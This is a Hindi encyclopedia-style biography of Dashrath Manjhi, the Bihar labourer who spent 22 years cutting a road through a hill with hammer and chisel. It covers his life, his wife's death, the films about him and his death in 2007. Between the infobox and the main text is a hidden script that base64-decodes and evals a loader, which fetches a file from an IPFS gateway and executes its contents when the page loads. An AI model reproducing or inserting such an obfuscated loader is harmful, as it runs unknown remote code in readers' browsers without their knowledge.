दशरथ मांझी

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दशरथ मांझी
दशरथ मांझी
पूरा नाम दशरथ मांझी
अन्य नाम माउंटेन मैन
जन्म 14 जनवरी, 1934
जन्म भूमि गहलौर, बिहार
मृत्यु 17 अगस्त, 2007
मृत्यु स्थान एम्स, नई दिल्ली
पति/पत्नी फाल्गुनी देवी
कर्म भूमि भारत
कर्म-क्षेत्र मजदूरी
प्रसिद्धि एक हथौड़ा और छेनी लेकर दशरथ मांझी ने अकेले ही 22 वर्षों के परिश्रम के बाद 360 फुट लंबी 30 फुट चौड़ी और 25 फुट ऊँचे पहाड़ को काट के एक सड़क बना डाली।
नागरिकता भारतीय
अन्य जानकारी दशरथ मांझी ने अपने काम को 22 वर्षों (1960-1982) में पूरा किया। इस सड़क ने गया के अत्रि और वज़ीरगंज सेक्टर्स की दूरी को 55 कि.मी. से 15 कि.मी. कर दिया।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>दशरथ मांझी (अंग्रेज़ी: Dashrath Manjhi, जन्म- 14 जनवरी, 1934; मृत्यु- 17 अगस्त, 2007) एक ऐसे भारतीय व्यक्ति थे, जिन्हें 'बिहार का माउंटेन मैन' कहा जाता है। वह बिहार में गया के करीब गहलौर गाँव के एक गरीब मजदूर थे। केवल एक हथौड़ा और छेनी लेकर दशरथ मांझी ने अकेले ही 360 फुट लंबी 30 फुट चौड़ी और 25 फुट ऊँचे पहाड़ को काट के एक सड़क बना डाली। 22 वर्षों कठिन परिश्रम के बाद दशरथ मांझी की बनायी सड़क ने अतरी और वजीरगंज ब्लाक की दूरी को 55 कि.मी. से घटाकर 15 कि.मी. कर दिया। दशरथ मांझी उर्फ़ माउंटेन मैन को आज हर कोई जानता है। कुछ समय पहले आई फिल्म 'मांझी' के द्वारा हर कोई उनके जीवन को करीब से जान पाया है। बिहार के छोटे से गाँव गहलौर के रहने वाले दशरथ मांझी ने ऐसा आश्चर्यजनक कार्य कर दिखाया था, जिसकी कोई कल्पना भी नहीं कर सकता था।

जन्म

दशरथ मांझी का जन्म आज़ादी से पूर्व 14 जनवरी सन 1934 को बिहार के गहलौर नामक स्थान पर हुआ था। जब उनका जन्म हुआ, तब देश में अंग्रेज़ सरकार थी। पूरे देश के साथ साथ इस गावं के भी बत्तर हालात थे। सन 1947 में देश तो आजाद हो गया, लेकिन इसके बाद धनि लोगों की गिरफ्त में चला गया। हर तरफ अमीर जमीदार अपना हक जमाये हुए थे और बिना पढ़े लिखे गरीबों को परेशान करते थे। दशरथ मांझी का परिवार भी बहुत गरीब था, एक वक्त की रोटी के लिए उनके पिता बहुत मेहनत करते थे।[1]

गाँव से पलायन

आजादी मिलने के बाद भी गहलौर गाँव में ना बिजली थी, ना पानी और ना ही पक्की सड़क। उस गाँव के लोगों को पानी के लिए दूर जाना होता था। यहाँ तक की अस्पताल के लिए भी पहाड़ चढ़कर शहर जाना होता था, जिसमें बहुत समय लगता था। दशरथ मांझी के पिता ने गाँव के जमीदार से पैसे लिए थे, जिसे वह लौटा नहीं पाये थे। बदले में वह अपने बेटे को उस जमीदार का बंधुआ मजदूर बनने को बोलते हैं। किसी की गुलामी दशरथ मांझी को पसंद नहीं थी, इसलिए वह गाँव छोड़कर भाग जाते हैं और धनबाद की कोयले की खानों में काम शुरू कर देते हैं। फिर वे कुछ समय बाद अपने घर लौट आए और फाल्गुनी देवी से शादी की।

पत्नी का निधन व संकल्प

अपने पति के लिए खाना ले जाते समय उनकी पत्नी फाल्गुनी पहाड़ के दर्रे में गिर गयी और उनका निधन हो गया। अगर फाल्गुनी देवी को अस्पताल ले जाया गया होता तो शायद वो बच जाती, यह बात दशरथ मांझी के मन में घर कर गई। इसके बाद दशरथ मांझी ने संकल्प लिया कि वह अकेले अपने दम पर वे पहाड़ के बीचों बीच से रास्ता निकालेगे। फिर उन्होंने 360 फ़ुट-लम्बा (110 मी.), 25 फ़ुट-गहरा (7.6 मी.) 30 फ़ुट-चौड़ा (9.1 मी.) गेहलौर की पहाड़ियों से रास्ता बनाना शुरू किया। उनका कहना था कि- "जब मैंने पहाड़ी तोड़ना शुरू किया तो लोगों ने मुझे पागल कहा, लेकिन इस बात ने मेरे निश्चय को और भी मजबूत किया।"

उन्होंने अपने काम को 22 वर्षों (1960-1982) में पूरा किया। इस सड़क ने गया के अत्रि और वज़ीरगंज सेक्टर्स की दूरी को 55 कि.मी. से 15 कि.मी. कर दिया। दशरथ मांझी के प्रयास का मज़ाक उड़ाया गया, पर उनके इस प्रयास ने गेहलौर के लोगों के जीवन को सरल बना दिया। हालांकि उन्होंने एक सुरक्षित पहाड़ को काटा, जो भारतीय वन्यजीव सुरक्षा अधिनियम के अनुसार दंडनीय है। फिर भी उनका ये प्रयास सराहनीय था। बाद में दशरथ मांझी ने कहा था, 'पहले-पहले गाँव वालों ने मुझ पर ताने कसे लेकिन उनमें से कुछ ने मुझे खाना दिया और औज़ार खरीदने में मेरी सहायता भी की।"[1]

सड़क निर्माण

दशरथ मांझी के प्रयत्न का सकारात्मक नतीजा निकला। केवल एक हथौड़ा और छेनी लेकर उन्होंने अकेले ही 360 फुट लंबी 30 फुट चौड़ी और 25 फुट ऊँचे पहाड़ को काट के एक सड़क बना डाली। इस सड़क ने गया के अत्रि और वज़ीरगंज सेक्टर्स की दूरी को 55 कि.मी. से 15 कि.मी. कर दी ताकि गांव के लोगों को आने जाने में तकलीफ ना हों। आख़िरकार 1982 में 22 वर्षों की मेहनत के बाद दशरथ मांझी ने अपने कार्य को पूरा किया। उनकी इस उपलब्धि के लिए बिहार सरकार ने सामाजिक सेवा के क्षेत्र में 2006 में 'पद्म श्री' हेतु उनके नाम का प्रस्ताव भी रखा।

फ़िल्म निर्माण

फिल्म प्रभाग ने दशरथ मांझी पर एक वृत्तचित्र फिल्म "द मैन हु मूव्ड द माउंटेन" का भी 2012 में निर्माँ किया। कुमुद रंजन इस वृत्तचित्र के निर्देशक थे। जुलाई 2012 में निदेशक केतन मेहता ने दशरथ माँझी के जीवन पर आधारित फिल्म 'मांझी: द माउंटेन मैन' बनाने की घोषणा की। अपनी मृत्युशय्या पर दशरथ मांझी ने अपने जीवन पर एक फिल्म बनाने के लिए "विशेष अधिकार" दे दिया। 21 अगस्त 2015 को फिल्म को रिलीज़ किया गया। नवाज़ुद्दीन सिद्दीकी ने दशरथ मांझी की और राधिका आप्टे ने फाल्गुनी देवी की भूमिका निभाई। दशरथ मांझी के कामों को एक कन्नड़ फिल्म "ओलवे मंदार" में जयतीर्थ द्वारा दिखाया गया है।

मृत्यु

अखिल भारतीय आयुर्विज्ञान संस्थान (एम्स), नई दिल्ली में पित्ताशय के कैंसर से पीड़ित दशरथ मांझी का 17 अगस्त, 2007 को निधन हो गया। बिहार की राज्य सरकार के द्वारा उनका अंतिम संस्कार किया गया। बाद में तत्कालीन बिहार के मुख्यमंत्री नीतीश कुमार ने गहलौर में उनके नाम पर 3 कि.मी. लंबी एक सड़क और हॉस्पिटल बनवाने का फैसला किया।[1]


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टीका टिप्पणी और संदर्भ

  1. 1.0 1.1 1.2 दशरथ मांझी जीवनी (हिंदी) jivani.org। अभिगमन तिथि: 15 अक्टूबर, 2022।

बाहरी कड़ियाँ

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